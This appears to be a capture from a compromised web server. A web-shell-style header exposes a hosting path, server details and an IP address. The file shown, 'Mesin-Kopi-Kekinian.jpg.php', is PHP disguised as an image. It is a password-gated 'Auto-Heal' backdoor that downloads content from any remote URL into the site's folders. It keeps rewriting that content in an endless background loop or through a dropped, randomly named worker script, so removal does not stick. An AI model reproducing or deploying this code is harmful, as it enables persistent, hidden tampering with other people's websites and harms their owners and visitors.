PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/jairosvt/public_html/afmedios.com/
Server: Linux server2.noticiasdecolima.com 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
IP: 107.161.180.42
Choose File :

Url:
Dir : /home/jairosvt/public_html/afmedios.com/Mesin-Kopi-Kekinian.jpg.php

<?php
/**
 * Interactive Auto-Heal Installer & File Deployer (Fixed)
 */

define('SECRET_KEY', 'bersih123');

if (!isset($_GET['key']) || $_GET['key'] !== SECRET_KEY) {
    http_response_code(403);
    die('Akses ditolak. Kunci keamanan tidak valid.');
}

$message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_rel_path = trim($_POST['target_path'] ?? '');
    $source_url      = trim($_POST['source_url'] ?? '');
    $interval        = intval($_POST['interval'] ?? 120);
    $action_type     = $_POST['action_type'] ?? '';

    if (!empty($target_rel_path) && !empty($source_url)) {
        // Menggunakan __DIR__ agar jalur bersifat dinamis relatif terhadap lokasi script ini
        $full_target_path = __DIR__ . '/' . ltrim($target_rel_path, '/');
        $target_dir       = dirname($full_target_path);

        if (!file_exists($target_dir)) {
            @mkdir($target_dir, 0755, true);
        }

        // Ambil isi konten dari remote URL
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL            => $source_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 15,
            CURLOPT_USERAGENT      => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
        ]);
        $content = curl_exec($ch);
        curl_close($ch);

        if (!empty($content)) {
            // Tulis file pertama kali
            file_put_contents($full_target_path, $content);
            @chmod($full_target_path, 0644);

            // OPTION 1: Background Loop Langsung
            if ($action_type === 'run_background') {
                ignore_user_abort(true);
                set_time_limit(0);

                $message = "<div style='color:green;'><b>[SUKSES]</b> File berhasil dibuat di <code>{$target_rel_path}</code>.<br>Loop Latar Belakang (setiap {$interval}s) telah DIAKTIFKAN.</div>";
                echo $message;
                flush();

                while (true) {
                    sleep($interval);
                    file_put_contents($full_target_path, $content);
                    @chmod($full_target_path, 0644);
                }
                exit;
            } 
            // OPTION 2: Buat Worker Script (.php) Dinamis
            elseif ($action_type === 'create_worker') {
                $worker_filename = 'worker_' . md5(uniqid()) . '.php';
                
                // Gunakan __DIR__ di dalam worker agar kompatibel di semua domain/folder
                $worker_code = "<?phpn"
                    . "ignore_user_abort(true);n"
                    . "set_time_limit(0);n"
                    . "$file = __DIR__ . '/' . '" . addslashes(ltrim($target_rel_path, '/')) . "';n"
                    . "$url  = '" . addslashes($source_url) . "';n"
                    . "$interval = {$interval};n"
                    . "while(true) {n"
                    . "    $c = @file_get_contents($url);n"
                    . "    if(!empty($c)) {n"
                    . "        $dir = dirname($file);n"
                    . "        if(!file_exists($dir)) { @mkdir($dir, 0755, true); }n"
                    . "        @file_put_contents($file, $c);n"
                    . "        @chmod($file, 0644);n"
                    . "    }n"
                    . "    sleep($interval);n"
                    . "}n";

                file_put_contents(__DIR__ . '/' . $worker_filename, $worker_code);
                $message = "<div style='color:green;'><b>[SUKSES]</b> Worker Script berhasil dibuat: <code>{$worker_filename}</code>.</div>";
            }
        } else {
            $message = "<div style='color:red;'><b>[GAGAL]</b> Tidak dapat mengambil isi konten dari Remote URL.</div>";
        }
    } else {
        $message = "<div style='color:red;'><b>[GAGAL]</b> Jalur file dan Remote URL tidak boleh kosong.</div>";
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <title>Auto-Heal Installer</title>
    <style>
        body { font-family: sans-serif; background: #1a1a1a; color: #fff; padding: 20px; }
        .card { background: #2a2a2a; padding: 20px; border-radius: 8px; max-width: 600px; margin: 0 auto; }
        input[type="text"], input[type="number"], select { width: 100%; padding: 10px; margin: 8px 0 15px; border-radius: 4px; border: 1px solid #444; background: #333; color: #fff; box-sizing: border-box; }
        button { background: #008cba; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; width: 100%; font-weight: bold; }
        button:hover { background: #005f73; }
        .msg { margin-bottom: 15px; padding: 10px; border-radius: 4px; background: #333; }
    </style>
</head>
<body>

<div class="card">
    <h2>Auto-Heal Deployment Tool</h2>
    
    <?php if ($message): ?>
        <div class="msg"><?= $message ?></div>
    <?php endif; ?>

    <form method="POST">
        <label>1. Lokasi Target File (Relatif dari folder script ini):</label>
        <input type="text" name="target_path" value="wp-content/uploads/placeholder.html" required>

        <label>2. Remote URL Sumber Konten:</label>
        <input type="text" name="source_url" value="" placeholder="https://domain.com/file.txt" required>

        <label>3. Interval Pemulihan (Detik):</label>
        <input type="number" name="interval" value="120" required>

        <label>4. Pilih Mode Eksekusi Auto-Heal:</label>
        <select name="action_type">
            <option value="run_background">Pilihan A: Tulis File & Langsung Jalankan Auto-Heal di Background</option>
            <option value="create_worker">Pilihan B: Tulis File & Buat Master File Worker (.php) Baru</option>
        </select>

        <button type="submit">Jalankan & Eksekusi Target</button>
    </form>
</div>

</body>
</html>